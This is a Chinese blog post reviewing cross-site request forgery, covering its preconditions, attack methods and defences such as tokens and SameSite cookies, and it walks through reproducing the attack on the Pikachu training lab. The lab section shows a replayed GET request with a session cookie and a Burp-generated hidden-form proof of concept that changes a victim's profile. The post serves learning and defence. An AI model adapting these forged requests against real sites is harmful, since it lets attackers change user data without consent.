当前位置: 首页 > news >正文

Csrf复习(pikachu靶场和防御手段)

CSRF漏洞简介

CSRF又称跨站请求伪造,是指攻击者在用户登录的状态下(浏览器保存了用户的cookie)通过伪造恶意url诱导用户点击,借助用户的cookie网站权限(冒充用户身份来进行非法操作,对于服务器来说是合法的)达到篡改数据、购买商品等非法操作。

CSRF漏洞形成的条件

通过上面的讲解我们知道CSRF形成的必要条件是

1、用户要在登录状态(即浏览器保存了该用户的cookie)

2、用户要访问攻击者发的恶意url链接才行

常见攻击方式

1、 链接点击:攻击者通过邮件、社交媒体或其他方式发送包含恶意请求的链接,诱导用户点击。

2、隐藏表单:在恶意网站上嵌入隐藏的表单,用户在不知情的情况下触发表单提交。

3、自动提交表单:恶意网站使用JavaScript自动提交包含恶意请求的表单。

4、图像加载:在恶意网站上嵌入图像标签,图像URL指向目标网站的恶意请求。

5、跨域请求:利用XMLHttpRequest或Fetch API发送跨域请求,但这种方式在现代浏览器中通常会被同源策略和CORS限制。

防御措施

1、CSRF Token:在每个敏感操作的请求中包含唯一的、不可预测的令牌。服务器验证该令牌以确保请求来自合法用户。

2、SameSite Cookie 属性:设置 Cookie 的 SameSite 属性为 Strict 或 Lax,防止跨站请求携带 Cookie。

3、双重提交 Cookie:在请求中发送一个 CSRF Token,同时在 Cookie 中存储相同的 Token,服务器验证这两个 Token 是否一致。

4、验证 Referer 和 Origin 头:检查请求的 Referer 和 Origin 头是否来自可信任的域。

5、定期重置 Session ID:减少会话被劫持的风险,确保会话令牌的安全性。

6、用户交互确认:对敏感操作要求用户进行额外的确认,例如输入密码或验证码。

漏洞复现(pikachu)

Csrf(get请求):

攻击者发送恶意链接,点开后信息被恶意修改

利用bp抓取的数据包重发数据

GET /vul/csrf/csrfget/csrf_get_edit.php?sex=hack&phonenum=123123&add=123123&email=123123&submit=submit HTTP/1.1

Host: pikachu

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://pikachu/vul/csrf/csrfget/csrf_get_edit.php

Cookie: PHPSESSID=1403c4j739t0v88bc26m3b2d6e

Upgrade-Insecure-Requests: 1

Priority: u=0, i

信息被修改了

Csrf(post请求)

记录原始数据

Bp抓包构造恶意网页

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">

      <input type="hidden" name="sex" value="hack" />

      <input type="hidden" name="phonenum" value="hack" />

      <input type="hidden" name="add" value="11" />

      <input type="hidden" name="email" value="111" />

      <input type="hidden" name="submit" value="submit" />

      <input type="submit" value="Submit request" />

    </form>

  </body>

</html>

放在外网服务器

点击恶意连接后信息被修改了

Csrf(token)抓包发现添加了token需要知道token才可以被攻击者恶意利用

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Linux——手动清理内存缓存
  • CSS、less、 Sass、
  • 前端canvas——赛贝尔曲线
  • Android笔试面试题AI答之Android系统与综合类(1)
  • 面试问题记录:
  • 技术实践—微前端技术应用
  • 秋招突击——7/24——知识补充——JVM类加载机制
  • iPhone 17系列取消17 Plus版本?新一代苹果手机迎来新变革
  • 支持向量机 及其分类案例详解(附Python 代码)
  • DNS域名解析服务器
  • Python高维度大型气象矩阵存储策略分享
  • FastAPI(七十八)实战开发《在线课程学习系统》接口开发-- 评论
  • 数字图像处理笔记(三) ---- 傅里叶变换的基本原理
  • ExcelJS:轻松实现Excel文件的读取、操作与写入
  • Redisson中的RBlockingQueue的使用场景及例子
  • 【每日笔记】【Go学习笔记】2019-01-10 codis proxy处理流程
  • 2017前端实习生面试总结
  • Android路由框架AnnoRouter:使用Java接口来定义路由跳转
  • ERLANG 网工修炼笔记 ---- UDP
  • FineReport中如何实现自动滚屏效果
  • iOS筛选菜单、分段选择器、导航栏、悬浮窗、转场动画、启动视频等源码
  • JavaScript设计模式系列一:工厂模式
  • KMP算法及优化
  • Mac 鼠须管 Rime 输入法 安装五笔输入法 教程
  • webpack入门学习手记(二)
  • 阿里云ubuntu14.04 Nginx反向代理Nodejs
  • 闭包,sync使用细节
  • 初识 beanstalkd
  • 初探 Vue 生命周期和钩子函数
  • 构建工具 - 收藏集 - 掘金
  • 利用阿里云 OSS 搭建私有 Docker 仓库
  • 七牛云假注销小指南
  • 强力优化Rancher k8s中国区的使用体验
  • 如何选择开源的机器学习框架?
  • 使用 @font-face
  • 为视图添加丝滑的水波纹
  • 小程序开发之路(一)
  • 译米田引理
  • 原生js练习题---第五课
  • No resource identifier found for attribute,RxJava之zip操作符
  • RDS-Mysql 物理备份恢复到本地数据库上
  • 关于Android全面屏虚拟导航栏的适配总结
  • ​html.parser --- 简单的 HTML 和 XHTML 解析器​
  • # Python csv、xlsx、json、二进制(MP3) 文件读写基本使用
  • #多叉树深度遍历_结合深度学习的视频编码方法--帧内预测
  • #在 README.md 中生成项目目录结构
  • %3cscript放入php,跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
  • (09)Hive——CTE 公共表达式
  • (1)Map集合 (2)异常机制 (3)File类 (4)I/O流
  • (32位汇编 五)mov/add/sub/and/or/xor/not
  • (BFS)hdoj2377-Bus Pass
  • (C语言)字符分类函数
  • (ZT)出版业改革:该死的死,该生的生
  • (补充):java各种进制、原码、反码、补码和文本、图像、音频在计算机中的存储方式
  • (附源码)ssm旅游企业财务管理系统 毕业设计 102100